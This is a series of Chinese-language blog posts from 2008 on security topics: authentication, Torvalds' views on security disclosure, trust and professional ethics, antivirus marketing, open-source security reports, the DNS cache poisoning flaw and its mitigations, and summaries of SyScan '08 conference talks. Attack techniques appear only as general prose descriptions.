基本上,大部分的說法我都能理解與接受。密碼使用上確實存在很多問題,但是其中包含技術性與非技術性的原因。用文章中舉例的Information Card機制,甚至是更安全的雙重因素驗證(Two-Factor Identification),也僅能解決技術性的問題(通常還不是完全解決),對於非技術性的問題可就沒多大的效用了。而且採用了新的機制,通常也會伴隨衍生新的問題,這個就是所謂的二次風險。至於文章中提到的另外一項SSO(Single Sign-On)技術-OpenID,那就更不用說了。因為SSO的Sign-On本身要怎麼做才不會有弱點,還有不同系統之間怎麼安全地傳遞身分,同樣是挑戰之所在。

所以,首先的重點是儘管密碼安全性不高,卻是目前最方便且簡單的機制。所以如果你的系統並沒有很高的安全性需求,用密碼絕對是首選。當然,這時候要搭配的是良好密碼的選擇與使用,以及安全的認證機制設計與實作。後者正是目前大家在談的Application Security的一環。但是如果你的系統有很高的安全性需求,除了採用更安全的技術外,更重要的還是整體的設計與實作。如果沒有正確的設計與實作,再好的技術也將漏洞百出。

不管是甚麼安全機制都應該遵守這些原則,那就是依據需求找出適用的方法(技術),並正確的加以規劃(設計)與佈署(實做)。當然,事後的評估與改進也是必要的。不過,那已經不在今天我討論的範圍了。

如果我們再將問題往前看,我們要解決的是使用者驗證的問題還是如何讓使用者安全地使用網路的問題。或者說,使用者真正關心的是前者還是後者的問題?我相信大多數使用者真正關心的是後者的問題。所以如果要提出一個真正的解決方案,應該是盡量針對後者才是。而後者就需要很不一樣的解決方法。正所謂問的問題不一樣,想到的解答也不一樣。當然,這個論述跟原始的文章並沒有很直接的關連,而是跟我們平常在面對客戶的需求有關。客戶的問題是甚麼,有時候不是大家說了算,問題背後真正的問題,是不是已經被發現了,還是用了正確的技術解決了錯誤的問題而導致徒勞無功。更甚者,我們是在解決技術的問題還是需求的問題,兩者之間的分別可千萬別搞混了。

原文出處:

Linux之父厭倦了"Security Circus"

前一陣子Linux之父-Linus Torvalds針對部分過於強調以安全為名的人士之批評,引起了不少的爭議與討論。數日前Torvalds透過Email向Network World做了進一步的說明。

他認為目前兩股主要的勢力,不管是將安全性議題大肆發表以爭取吸引的目光,或是將安全性議題的相關資訊封鎖以避免產生危害都屬於太過極端的做法。即時的錯誤修正本來就是廠商該做的,而不應該跟屬不屬於安全性議題有關。所以,建立一套良好的回報、處理與修正機制,才是真正該做的事情。

他也再次強調他認為將安全性議題與修正特別標示出來並沒有實際的幫助。

這次,Torvalds的口氣似乎平和了許多,也讓我們見識到他務實的一面。當然,我們不能以偏概全,硬說所有的人都屬於Torvalds所說的那兩類。畢竟,每個人即使有類似的行為,其背後的動機也可能很不一樣。但是,就像很多事情一樣,做的比說的更重要。如何"做"好安全比如何"談"好安全更形重要,至少在開發Linux這樣實際且複雜的系統時是如此的。

原文出處:

2008年8月15日 星期五

信任是安全的基礎

今天看到一篇文章,內容講的是從所謂卡神楊蕙如現象所延伸的社會價值錯亂的問題。其中一個影響就是信任感的喪失,所以大家就習慣了以小人之心度君子之腹的思維,甚至成為日常生活的行為準則。我本人對於文章內的闡述相當贊同,也想到了兩件與信任有關的資訊安全議題。

首先,目前很流行一種叫做端點(Endpoint)安全的產品。簡言之,就是想辦法保護組織內所有的網路端點設備(個人電腦、筆記型電腦、PDA等等)的安全。當然,除了保護之外,也有管理(限制或監控)的功能。延伸來看,管理的目標其實不只是這些端點設備,更是端點設備的使用者。以前大家都很在意駭客的攻擊,現在企業更擔心來自內部使用者有心或無意的行為而影響了資訊安全。雖然大部分的數字的確證明多數資安事件的發生與造成的損失都來自於內部因素,但是這樣的產品也正式宣告企業對於員工的信任已經受到廣泛的挑戰。從前只有一些特定的重要資料或系統會執行嚴格的監控控制,現在則已經延伸到幾乎所有的行為與操作。這對資安產品的廠商來說當然是一件好消息,但是對員工來說可不是這樣了。不過,我個人認為適當的管制措施是必要的(所謂的適當是因時因地因公司而異)。只是,要如何讓善良的員工了解其必要性,進而主動加以配合,這個是比單純的選購與部署產品來的難多了。但是就像導入所有資訊系統一樣,這是確保成功的最重要因素。也就是讓員工信任公司這樣做並不是因為公司不信任員工,而是為了保護公司與員工本身。

第二個相關的議題就是很多專業的證照,都有遵守相關道德規範的要求。當然,這些要求除了書面的考題以外,往往就是一個打勾確認的動作。既然看起來這麼沒約束力,那麼到底為什麼要花心力去做這些看不到明顯效益的事情。我想,專業是需要客戶的信任,而專業的證照更需要客戶的信任以維持它的價值。要取得客戶的信任,就應該遵守所謂的職業與社會道德,不就是這麼簡單。你通常會希望跟一個很專業卻沒有道德的人合作,還是有道德也具備一定專業程度的人合作?這點對於資訊安全從業人員尤其重要。因為資訊安全從業人員所做的事情外界本來就比較難以了解,再加上對系統或架構擁有較深入的了解與更高的權限,如果真要做壞事,還真是不容易預防與察覺。所以,企業在從事資訊安全從業人員的招募時,自然會進行比較嚴格的背景審查。而資訊安全從業人員更應該好好愛惜自己的羽毛,千萬別因為一時失誤,而做出了違反職業或社會道德的行為,影響了自己的Credit。當然,有時候要維持道德的行為是很難的,甚至道德本身也有不同的詮釋。不過,維持道德是我們基本的底線,也是最重要的行事準則。否則一旦客戶失去了對你的信心,也失去對其他安全從業人員的信心,甚至是你所擁有相關證照的信心。正所謂任重而道遠,互勉之。

相關連結
看楊蕙如現象背後的社會價值

2008年7月26日 星期六

誰騙了你20年

這一陣子,有一個還算蠻震撼的新聞,就是趨勢科技的CEO陳怡樺說了「防毒產業騙了客戶20年」這麼一句話。這一句話,不但打翻了趨勢科技自己一直以來的產品,也打翻了其他公司的防毒產品,甚至也把千千萬萬防毒軟體的從業人事一併賠了進去。這讓我想到有人也提過安全產業是最大的笑話,因為實際狀況是越來越不安全。

早期的防毒軟體確實有它的效用,但是隨著惡意程式的演進,防毒軟體的發展明顯是處於被動而落後的階段。如果據此就說是騙了20年,我想是過於嚴重了。當然,很多使用者的確被廣告的訴求給欺騙了。不過認真看來,哪一個廣告不是如此呢?當然,以較高的標準來看,廠商的確有教育使用者正確觀念的義務,但是並不是經過20年後才忽然冒出來這麼一句。更重要的是,你的解決方案呢?是不是真的就不是再一次的欺騙?你要用甚麼說服已經被你欺騙了20年的人?當然,她說是希望能夠引起注意才這麼說,不過看到大部份的反應是針對趨勢科技的批評,這個應該是她始料未及的吧。

在另外一篇的專訪中,我看到她過於強調雲端運算這個最近已經被吵到發燙的名詞,讓人不禁懷疑是不是又是另外一場騙局。雲端運算本身,並不是防毒專屬的技術。我相信它應該最多只是防毒機制的配角,真正的主角還是用甚麼機制/演算法來偵測或防堵惡意程式的感染。就算現在的機制必須透過雲端運算來提供服務,但是那並不保證你們的解決方案就可以有效解決惡意程式的問題。透過URL+雲端運算的方式有沒有效,其實不需要自己再次在那邊自吹自擂,直接推出產品證明產品的效用最是實在。尤其是當你已經失信於客戶一次了,在那邊繼續講還有用嗎?直接拿出證據來吧!事實上,很多廠商或團隊都不斷在嘗試用新的方法來對抗惡意程式,也沒有用到所謂雲端運算的技術(其中今年的SyScan就有幾場相關的演講)。到底孰優孰劣,還是手下見真章吧。

老實說,我對趨勢科技的產品沒有任何偏見,但是我對這樣的言論是無法理解的。如果她有guts(有嗎)的話,應該就像Roger Chiu一樣,早早看破離開,或是盡快為他們的客戶找尋更好的做法。最後,還是必須回到資安專家的老生常談。套句廣告台詞,不要再相信沒有根據的說法了。沒有一個安全產品或機制是100%有效的,什麼滴水不漏都是騙人的。小孩的尿布不會滴水不漏,女性的生理用品也不會,安全產品更不會。所以,我們需要多層次的防禦措施,所以我們會有殘餘的風險,所以我們隨時都不能鬆懈。

相信我,我不會在20年後告訴我的客戶:「你們都被我騙了,笨蛋!」我會告訴客戶我會繼續幫他找出更佳的解決方法。

相關新聞
趨勢CEO陳怡樺:防毒產業騙了客戶20年

獨家專訪趨勢CEO陳怡樺(上):偵測率競賽是自欺欺人

獨家專訪趨勢CEO陳怡樺(下):防毒產業不合作令人失望


客戶網站被掛馬 趨勢科技15分鐘內得知

2008年7月24日 星期四

Linux之父強烈反擊

被尊稱為Linux之父的Linus Torvalds前一陣子針對PaX Team的指控做出了反擊,PaX Team指控Torvalds與其他人對於程式的Bug沒有針對其安全性危害做出分類與警告。Torvalds則認為找出Bugs已經足夠,並不需要特別去強調安全性的問題。其他跟安全不相關的Bugs,數量甚至更多,也同樣需要加以修正,而過於強調安全性的Bugs其實並無助於解決所有的Bugs。他以為目前很多以做安全為名的人,誇大了安全的議題,甚至只是利用發現安全性的弱點來增加自己的知名度。他也提到了OpenBSD過於強調安全性,並且用了很不好聽的形容詞去描述其開發團隊-a bunch of masturbating monkeys(一群自己爽的猴子)。

對此,OpenBSD的相關成員倒是不想把問題擴大,所以自己打了一些圓場。最後,甚至說其實他們跟Torvalds雖然表面上看法有些不同,不過其實真正的想法是一致的。對我而言,有沒有一致並不重要,因為每個產品本來就有他不同的定位。所以,重點不在對開發者而言安全是不是最重要的,而是客戶對安全的需求是甚麼?或許用比較正式的說法,是Stakeholder(利害相關者) 對於安全的需求是甚麼?所謂的利害相關者,可能是使用者,也可以是付錢的客戶,也有可能是使用者的頂頭上司。所以只要是有關的人都算是利害相關者,而對需求有較強烈的影響的人就是重要的利害相關者。

當然,每個人對於自己用盡心力而誕生的產品無不抱以無限的期望與關愛。但是別忘了,沒有一個產品可以適用於所有的人。如果一個產品真的這麼不堪,市場自然會有一些機制加以淘汰。Linux擁有其支持者,OpenBSD也同樣有死忠的粉絲。並不能用支持者的多寡就決定誰對誰錯,只能說誰的方向是比較符合多數人的需求,而且是過去的需求。Torvalds對於Linux乃至於OSS的貢獻無庸置疑,但是用了不堪的言語來反擊他人的指控,我想只能說他畢竟還是一個人類。人類都有其脆弱的一面,這是無法避免,更不能因為這樣就說他是不好的。就像所有的安全機制一樣,再好的安全機制總有它無能為力的時候。如果我們在規劃乃至於使用時不能夠知道各安全機制的適用與不適用時機,終究是無法發揮其真正的功效。

我本身對於Linux有多年的使用經驗(從Kernel 0.x版就開始接觸了),也一直很肯定所有OSS作者的貢獻,對Torvalds那更不用說了。我想這樣的事件不會減少他的影響(或許還可以稍微增加),不過我還是期望他能夠少引起一些不會有結果的爭端。有時候,軟體的支持者跟宗教或政治的支持者沒有甚麼兩樣,除了理性以外,更是充滿了感性的一面。聰明的人,還是避免無謂的口水之爭才是上策。

原文出處:
Torvalds attacks IT industry 'security circus'

2008年7月22日 星期二

Open Source 軟體安全堪慮 - 談Fortify發布之Open Source軟體安全報告

前一陣子我談到有關Scan發表了一篇對於 OSS (開放源碼軟體)的安全性檢測報告,基本上整個方向大致上是正面的。不過這兩天另外一家應用系統與程式安全的公司 -Fortify- 發表了另一篇的報告,其內容對於OSS的安全性則有完全不一樣的見解。

這篇報告提出了三個觀察到的現象:
1. 沒有提供與資訊安全專家聯絡的方法及相關訊息 (Failure to Provide Access to Security Expertise)
2. 沒有採用考量安全性的開發流程 (Failure to Adopt a Secure Development Process)
3. 沒有善用技術找出軟體內存在的安全弱點 (Failure to Leverage Technology to Uncover Security Vulnerabilities)

另外,該篇報告也提出了兩個建議:
1. 政府與企業在導入開放源碼軟體時應該非常小心謹慎 (Government and commercial organizations that leverage open source should use open source applications with great caution)
2. 開發源碼軟體應該採用與商業軟體一樣有效的安全實務 (Open source projects should adopt robust security practices from their commercial counterparts)

雖然沒有明講,但是最後一點很明顯的指出了OSS的安全性是比不上非OSS的商業軟體。

關於OSS與非OSS之間哪一個比較安全,一直以來有各式各樣不同的論述,對此我也不打算在此討論。事實上,我認為這個問題永遠不會有解答,主要原因有下列幾點。第一個是全世界的軟體這麼多,要全部檢測是不可能的,所以採樣方法就是第一個爭論點。另外一個就是每個方法或工具檢測的項目不一樣,所以評斷的標準是第二個爭論點。另外,非OSS的商業軟體,因為沒有程式碼可以取得,所以根本就不可能做完整的程式碼檢測。最後,除了程式碼以外,有哪些也算是軟體安全的一部份?這部分同樣也是沒有標準。這麼多的不確定性,再加上兩陣營有各自的擁護者,要提出一個可讓眾人信服的結論,可說是比登天還難。

儘管如此,我們還是可以試著從中找出兩篇報告的不同之處。
1. Scan的計畫是以幫助OSS增進程式碼安全性為出發點,跟Fortify只是做檢測有很大的不同,所以參與Scan計畫的軟體大多在程式碼的安全上有很大的改善。而Fortify因為並沒有提供協助,甚至並未告知被檢測的軟體之開發團隊,自然不保證軟體在安全上的提升。
2. Scan計畫有270個(根據網站最新公布)OSS參與,而Fortify只找了11個軟體做檢測,而且都是以Java為程式語言所開發的軟體。對此,Fortify的說服力很明顯的欠缺了。
3. Scan不試著去比較OSS與非OSS之間的差異,因為這原本就不屬於該計畫的部分。而Fortify同樣也沒有提到該計畫有檢測任何非OSS的商業軟體,但是最後卻出現了一些比較的結論,同樣缺乏足夠的說服力。
4. Fortify觀察到的三點現象,雖然跟程式碼本身的安全應該有所關係,但是並沒有相關的證據顯示之間的相關性與其強度為何。所以以較嚴謹的角度來看,同樣不夠客觀。當然,沒有採用考量安全性的開發流程是一個不好的事情,但是這件事跟最後程式碼安全性的關聯並沒有辦法被證明(至少在這篇報告中是沒有辦法的),所以不能因此推論出較不安全的結論。甚至更不能因為程式碼的安全性較差,就反推回去沒有使用考量安全性的開發流程。為什麼我說是反推回去,因為報告中並沒有看到他們與原軟體開發團隊有任何直接或間接的接觸。

事實上,這篇報告在iTWire也幾乎是一面倒的被質疑。雖然我本身也常使用OSS,但是我卻不認為OSS就一定比較安全,只不過這篇報告的說服力的確是很薄弱。不過,薄弱歸薄弱,"觀察"到的三個現象卻是我們開發或使用軟體應該注意並設法改善的地方,不管是OSS還是非OSS的商業軟體。

前一陣子有另外一篇文章同樣提到有關OSS的安全議題,不過他是談論如何避免導入OSS所可能遭遇的風險。既然OSS的使用已經是不可避免,我想這樣的忠告更具實用性,所以附上相關連結以供參考。

後記:根據各項最新的研究報告顯示,OSS相關的工作需求有明顯的成長。雖然並無法明確顯示出OSS與非OSS軟體的使用比例,但至少可以確定企業導入OSS的例子已經有大幅的增加。除了這些看得到的OSS,其實還有很多使用中的OSS是被忽視的。

原文出處:

2008年7月21日 星期一

你知道你在跟誰說話嗎? - 談DNS Cache Poisoning

DNS,對一般網路的使用者來說是個很陌生的名詞。但是幾乎所有網路/系統管理者都聽過,甚至管理過這個服務伺服器。它這麼知名的原因,在於沒有它,現在的網際網路大概沒幾個人願意使用。透過它,我們才能方便地使用像是g.cn這樣的名稱來對遠端的伺服器進行連線。它算是網際網路運作中一個很基礎也很重要的服務。雖然這個服務對管理者來說並不陌生,其運作原理也不算複雜,但是事實上很多DNS服務器的設定存在著不少問題(不安全、甚至是錯誤的設定)。而這個服務利害的地方在於,就算是存在一些不正常的設定,運氣好還是可以正常運作。運氣差一點的,就是不能運作。運氣最差的則是出現網路/服務不穩定的現象,因為這類問題很少人會懷疑到實際上是根源於DNS的錯誤設定。事實上,我在幾年前遇到一個曾在台灣知名網路公司服務過多年的人。當時因為網站不穩定,所以我請對方檢查DNS的設定,但是對方一直堅持不是DNS的問題。為什麼我會這樣懷疑,因為我從外部的查詢出現了好幾個192.168.x.x的設定。看到這些資料,就像我剛剛說的,運氣好還是可以運作,只是我認為我的運氣一向不太好。

也正是因為在種種原因互相作用之下,一直以來它都是網路攻擊的主要目標之一。Cert-US在這個月初公布了一個有關DNS的最新弱點-DNS Cache Poisoning。這個弱點獨特之處,在於它不是因為某個DNS產品的實作不良,或是管理者的設定錯誤而造成的。其發生的原因在於當初設計的DNS協定出現了瑕疵,可以讓攻擊者透過假冒的回應而感染DNS伺服器的快取。DNS伺服器的快取遭受感染會發生甚麼事?甚麼事都有可能發生,你可能會在攻擊者的網站輸入信用卡卡號,你可能會在攻擊者的網站貼上原本只供自己欣賞的自拍照...。而這個攻擊比釣魚網站攻擊更具威脅的原因在於你看到的網址並不是"很像"而已,而是一模一樣。當然,攻擊者也可以透過綁架網站的方式,將網站的內容置換成惡意的網頁。這樣的做法雖然一樣也可以達成使用原先受信任的網址進行惡意的行為,但是綁架網站的手續畢竟還是相對複雜。更何況DNS Cache Poisoning影響的不是只有Web服務,所有的網路服務都會受到影響。而這次的弱點也因為是DNS協定本身的問題,所以幾乎所有DNS實作都受到影響,也就是每一個DNS伺服器都有可能成為這個攻擊下的犧牲者。

因為我不想講到太技術性的東西,所以我直接附上了三個相關的網址。除了Cert以外,DoxPara的版主是這個弱點的發現者,也寫到了這整個過程的始末。另外他也提供了一個連結可以讓使用者測試自己使用的DNS服務器是否會受到這個弱點的影響。但是我使用了好幾次都出現錯誤,所以第三個網址提到一個使用dig的測試方法。在此我直接跳到Cert所公布的建議步驟 :
1. 更新!更新!更新!
2. 限制存取(查詢)的權限
3. 過濾掉不必要的流量
4. 建立內部使用的DNS Cache服務
5. 停用遞迴查詢(Recursion)
6. 使用隨機選擇的來源埠號
注意看來,這六點至少就有四點(1,2,3,5)是DNS服務器的管理者原本就應該遵守的,其中2,3,5更是直接對應到最小權限這個概念(Least Privilege)。不管面對的威脅是新的技術還是舊的方法,其實有很多防範方法都是共通的,而這樣的方法往往也是最有效的。所以我們在一味追求技術的同時,其實有些觀念/習慣還是需要好好的建立。如果不能參透並好好運用這些基礎,再努力也只不過能做到頭痛醫頭,腳痛醫腳罷了。

當然,如果我們再杞人憂天一些,可以回頭看看這些我們已經習以為常的科技。如果一旦這些科技出現問題,對我們的影響可是很全面而重大的。例如當我們連到經常使用的網路銀行網站,卻發現不能夠輕易的相信這是合法的網站,信心的崩潰會不會把網路服務打回原始的時代?我們該怎麼做?我不會勸你把所有的科技產品丟掉,甚至搬到與世隔絕的深山自力更生。我會勸你正視資訊安全的問題,而廠商在提供更好的資訊產品與服務的同時也能將資訊安全的需求當作一個很重要(最重要)的議題加以考量,而不是一個被發現了才做的事情。當然,有些問題是需要進行大幅調整才有可能加以補教,例如現在網站安全問題這麼嚴重,有人就提出了修改HTTP協定、甚至是瀏覽器的建議。這類問題牽扯的就不只是技術性的問題,還有更多政治性的因素牽扯其中。

相關連結:

2008年7月9日 星期三

SyScan '08 現場報導 (下)

第二天的主講人包含邱春樹(Roger Chiu from Malware-Test.com)、馮祥安(Sean Feng from TrendMicro)、邱銘彰(Birdman from Armorize)、PK(PK from 警政署)、Kuon Ding(Kuon Ding from Armorize)與Nanika(Nanika from COSEINC)六位,其主講內容包含:

1. Roger - Gotcha! Most Effective Ways to Catch Malware Behaviors on Live Systems
利用偵測惡意程式常用的行為與數位鑑識的概念與方法,找出系統遭受惡意程式感染的任何蛛絲馬跡,以期發現惡意程式之存在。因為目前惡意程式通常會試著躲過某些安全軟體,甚至隱藏自己的行蹤,因此要完全根據其使用的技術加以偵測總會有遺漏之處。所以Roger透過各類資訊的收集與比對,找出不一致的地方,點出可能是惡意程式存在的證據。但是因為很多牽扯到作業系統核心資訊的收集與解析,這方面是有很高的難度。原因在於微軟的作業系統並沒有提供各式資訊的資料結構說明,所以必須靠逆向工程的方式去找出資料的意義。

2. Sean Feng - Enbedded Script Attacks
介紹目前將程式碼內嵌於各種檔案格式的攻擊方法,並試著偵測出已經被內嵌惡意程式碼的檔案。目前內嵌程式碼的攻擊目標包含可執行檔、多媒體檔與文件檔,可透過程式本身的執行能力或是處理檔案的應用程式臭蟲而達到執行程式的目的。這類惡意程式碼本身主要功能為連上網路下載真正的惡意程式,所以內嵌的惡意程式碼不大,也不會產生其他惡意行為,所以很難被現有的防毒軟體加以偵測到。因為光靠下載網址或是下載檔案的內容很難有效判斷是否為惡意程式,因此Sean利用這類程式都會動態找出下載檔案API記憶體位址的動作,試著去找出惡意的內嵌程式碼。雖然這樣的方法可以面對現在大多的內嵌惡意程式碼,但是當惡意程式發現此一偵測方法,如果有其他的實作方式,就有可能造成判斷的失效。此一技術目前還在Lab階段,並沒包含在TrendMicro的正式產品中。

3. Birdman - Crimeware Forensics Analysis using Toolmarks
利用分析惡意程式特徵值的方式,試圖找出惡意程式的相關性(Grouping),據此找出惡意程式可能的來源。講解方式生動有趣,不過我要轉成文字說明就不容易了。分析方法為透過Sandbox的方式,實際觀察惡意程式的行為,並據此轉換為特徵值。此Sandbox可模擬網路環境的存在,已欺騙部分惡意程式會透過檢查網路連線與否而反制Sandbox的機制。

4. PK - CSI Live: Windows Memory Forensics
主要介紹Windows記憶體內的資料鑑識。之前的數位鑑識比較多著重在非揮發性設備(如硬碟)的資料上,而記憶體內資料的鑑識則是比較缺乏。除了記憶體內容的鑑識,休眠檔也因為存有記憶體內的資料,同樣也可以提供鑑識。鑑識時可以使用1394的DMA功能,直接透過1394介面將另外一台電腦的記憶體內容複製下來。現場有兩個展示,一個是利用1394的DMA功能,直接Patch記憶體內的指令,將檢查登入密碼的程序置換指令,達成不需要密碼就可以登入作業系統的目的。另外一個則是放置一個Patch過的休眠檔,同樣將檢查登入密碼的程序置換指令,達到不用密碼直接登入的目的。PK主講經驗應該果然豐富,講的雖然算不上活潑生動,但是具有相當的知識性與效果。

5. Kuon Ding - Python Makes You Fly Safely
介紹Python程式語言相關的安全議題。包含Python與C程式語言的結合、Python Bytecode、Deassembler、Decompiler與JIT (Just In Time) Compiler等。雖然曾經寫過一陣子的Python,不過後來沒再接觸,而大多的與會者也沒接觸過Python,算是比較沒有辦法引起共鳴的議題。講的東西有些多,所以顯得有些雜亂(Sorry for that)。

6. Nanika - The Powerful Evil On Mobile Phones
另外一場跟Mobile Mobile安全相關的議題,不過談的內容並不侷限於Rootkit。只是後來有一大段時間在講解怎麼寫ShellCode,這部分如果不是真的寫過的人,還是很難引起共鳴。不過還好有展示(透過模擬器),展示的程式是將名稱符合特定字串的檔案或目錄隱藏起來。另外一個是透過Rootkit將Mobile Device的位置回報,並顯示在Google Maps上。只不過這部分並沒有實際的展示。因為講的東西比較多,同樣顯得有些雜亂了(Sorry again)。

2008年7月8日 星期二

SyScan '08 現場報導 (中)

第一天精彩的六場演講分別如下


1. Adam Laurie - Hacking RFID Without A Soldering Iron
Adam Laurie是Apache SSL的作者之一,不過這次他講的跟SSL沒有任何關係,是RFID(含Smartcard)的安全。首先他放了一段他在飯店破解飯店房間保險箱的影片,成功的吸引了大家的注意力。之前破解RFID的方式,很多都是利用一些"特殊的裝置"去破解。儘管這樣的方式的確成功破解了RFID,但是RFID的廠商硬說因為不是複製出"一模一樣"RFID裝置,所以還是可以被發現而不算真正破解。當然,在有些時候,RFID裝置的外觀的確也是判斷的條件之一。但是在以設備為主的自動化環境下,外觀其實並不是一個檢查的項目。儘管如此,Adam硬是利用自製的破解工具,將RFID複製到另一個一模一樣的裝置上,連外觀都無法判斷。另外他也談到ePassport的安全問題。展示部分則是繼操作了他自製的破解工具與程式,成功將RFID複製到另一個裝置。另外一個展示則是讀出ePassport的資料,並加以修改。雖然ePassport有經過加密,但是因為CA也寫在ePassport內,如果沒有檢查CA的有效性,還是有可能遭受竄改而不知。本來Adam還想展至讀取晶片卡內的資料,不過現場取得的晶片卡,似乎不太合作。Adam稱他的破解工具可以在數十公分的距離內讀到RFID裝置的資料,讀到之後要做甚麼?應該不用我說了。

2. Fyodor Yarochkin - Cooperative Offensive Computing / Abusing XMPP infrastructure
Fyodor是snort與xprobe的作者之一。因為Fyodor工作之一是進行滲透測試,所以他也順道開發了一個這樣協同式攻擊的工具。簡單來說,這樣的協同式攻擊跟一般單機攻擊不一樣的地方在於這些散布各處的攻擊點(Fyodor稱之為drone)之間怎麼溝通與做資訊的交換。所以Fyodor利用了XMPP這個協定,再加上Jabber這個伺服器,達到難以被追蹤的目的。而其使用的Jabber伺服器,可以自建,當然也可以找網路上開放(有意或無意)的伺服器。想當然爾,我個人猜測應該是不太可能自建(在自己的機器)。而這些蒐集到的資訊,可以透過特定語法加以查詢。其後端使用的技術是Knowledge Machine,而前端就是使用支援Jabber協定的界面(例如GTALK?)。當然,他應該也可以透過這樣的方式去執行特定的動作,以期獲取更多的資訊或...。另外他也成功將Jabber伺服器的服務隱藏起來,目的為何請自己想。最後,Fyodor因為看到Adam的議題,順道做了一個RFID的小展示,不過就跟原先的主題沒有任何關係了。老實說,Fyodor的口音很重,整場聽下來幾乎是邊看投影片邊想像。不過神奇的事情發生在他回答聽眾問題的時候,他忽然冒出了幾句的中文。雖然中文也有些口音,不過至少比英文聽得懂。那...為什麼他不直接用中文講呢?是怕其他外國講師聽不懂嗎?

3. Petr Matousek - Subverting Windows Embedded CE 6 Kernel
Petr Matousek是主辦單位之一COSEINC的成員,之前則是29A的成員。介紹了Windows Embedded CE 5與CE 6 Kernel的破解(Subverting)方式。主要是透過User-Mode或Kernel-Mode的hooking,以達到rootkit的功效。並實際呈現與展示隱藏檔案、機碼、網路埠、程序與載入模組的程式碼與範例。另外也提出了幾個找出rootkit的做法,其中一個他稱之為Virgin Verifier,意思應該是要找出系統是不是原裝的,還是已經被rootkit"玷汙"過了。Virgin Verifier利用比對API Set hooks與process handles找出可能的修改/隱藏行為。另外的做法包含了透過比對SD-Card上的原始資料與API輸出結果找出被隱藏的檔案。還有就是機碼與檔案的監視程式,這個就像是Win32平台上SysInternals的RegMon與FileMon。Petr同時也做了相關的展示。

4. Matt Conover - Buffered Code Execution: Detecting Program Behavior & Malicious Drivers

Matt目前是Symantec Research Labs的Principal Software Engineer,他這次演講的目的是怎麼觀察到惡意程式的行為。觀測的目的當然是為了知己知彼,但是要知彼可不是一件容易的事情,因為要讓對方不知道你的存在,甚至有些對方會試著去找出你是否存在,以避免被觀察。傳統上可以透過單步除錯的方式加以觀察,另外還有就是API或System call的hooking。而這些方法當然有它的不足之處,所以Matt就開發了利用模擬出真實環境的作法,來觀察惡意程式的行為。而比較特別之處,就是Matt的解決方法(他們稱之為BCE)並不是去模擬所有(或該惡意程式會使用到的)原先系統應該有的行為,而是只模擬必要之部分,而不必要之部分則再交由原先的系統執行。所以除了可以大幅提升執行的效率,更可以避免需要模擬過多行為的窘境。因為系統的行為很複雜,尤其是在一些特殊狀況下要無誤地的處理更是需要好好設計,這也是他講解內容中一個很重要的部分,不過那個對我而言就太偏實作方面了。而目前他們的挑戰是如何處理有關Callback的問題。

5. Rich Smith - PhlashDance: Fuzzing your way to expensive bricks
Rich目前是HP實驗室的Offensive Technologies & Threats (RiOTT)研究計畫的主導人。這個標題其實讓人有點看不懂,PhlashDance應該是一個新創的名詞。我用Google Trends找尋,甚至還沒有足夠的資料可以顯示。基本上他講的是一種稱之為Permanent Denial of Service (PDoS, 永久性阻斷攻擊)的攻擊手法之一。傳統的DoS/DDoS,不管問題的嚴重性,都可以透過重開、隔離等方式回復原先的服務。而PDoS手法則是讓系統在遭受攻擊後必須透過置換硬體或重新設定硬體的方式才可以加以回復至原先的狀態,而Bricking指的正是服務無法透過重開而回復這件事。而其討論的方法,其實就是利用攻擊韌體的方式,來達到破壞設備的目的。韌體因為很多原因,所以是一個容易遭受攻擊的目標(當然目前這樣的攻擊還是不多)。原因包含這些設備通常在網路的最前線(包含防火牆本身)、安全稽核沒有包含韌體(事實上根據我接觸有關資訊安全相關認證與稽核的經驗,都沒有提到韌體這個名詞)、韌體從業人員資訊安全概念薄弱(連軟體從業人員都薄弱了,更遑論韌體從業人員)、與設備的多樣性等等。而為了達成遠端攻擊的目的,最簡單就是利用大多數設備所具備的韌體更新功能。解決之道就是把遠端更新韌體的功能加以關閉,並對韌體的檔案進行加密或雜湊值的保護等方式。而PhlashDanac就是一個自動化的工具,可以找出設備的韌體檔案本身是否有風險存在。以台灣硬體製造的能力與數量,這個議題對台灣這些製造商應該是很重要的。因為不管設備上應用系統的安全機制有多強,如果連自己都保護不了也是白搭。

6. Jack Yu - 反恐與國家資訊基礎建設保護
Jack Yu目前是阿瑪科技的人員,而這也是當天唯一一場中文的演講。一開始講的東西有些鬆散,介紹了一些資訊安全上的威脅(DDoS、DNS Poisoning、SQL Injection、SEO Poisoing與Rerouting等)。後面則介紹了CIIP(國家資訊基礎建設保護)的目的與一些作法(透過演習)。基本上,這樣演習的目的主要還是為了能夠更加了解可能發生的問題與因應之道,所以著重在監控、分析與應變的能力上,而不光是事前的偵測與防堵。而其保護的目標則包含了服務、頻寬、Routing、實體設備與線路與監控的資料。相較於世界各國,台灣政府對這些事情做了多少?

SyScan '08 現場報導 (上)

這次SyScan在台北舉行的年會,看了現場的報告編號,大概有4,5百人。老實說,不只主辦單位自己覺得很意外,我也覺得很意外。因為這是技術導向的年會,在台灣有這麼多人搞資安的技術嗎?而且這是要付費的活動,也不太可能光是因為興趣而參加。不過我看了身邊的人,有不少似乎還是學生(所以應該是用人民的錢),另外一些可能就是公司強迫的了。因為第二天,坐在我身邊的老兄竟然拿了一本簡體中文的書在看...第二天都是國產的講師耶,不但看還看到打呼。

KeyNote是由主辦單位之一 - 阿瑪科技(Armorize)的CEO黃耀文(Wayne Huang)主講,講的是亞洲在資安市場的特殊地位。尤其因為兩岸的特殊環境,更因此形成了資安問題的主要戰場。對使用者來說,的確是一件壞消息。但是對資安廠商而言,尤其是本地化的資安廠商,倒是一個比較正面的消息。當然,這樣的條件並不保證在地的資安廠商就能順利取得優勢,還是要靠其他方面的努力才行。

兩天的主講人各有六個,其中第一天以外籍兵團為主,其中有五場是講英文。老實說,有些人講的英文因為腔調的關係,聽的過程還真是囫圇吞棗,還好Wayne適時體貼的做了重點的翻譯,也讓大家能夠更加了解主講人的意思。

不過在議題安排上,我個人認為有些可以再改進的部分。
1. Coseinc與阿瑪科技兩家主辦廠商就包辦了五個場次(Coseinc兩場、阿瑪科技三場)。而Coseinc兩場都是講Mobile設備的安全威脅,其中又多著墨在Rootkit,似乎有些重複。雖然這是Coseinc的專長,也確實是未來下一個資安的戰場,但是重複的內容似乎有些累贅,兩個主講人好歹應該先互相知會一聲。
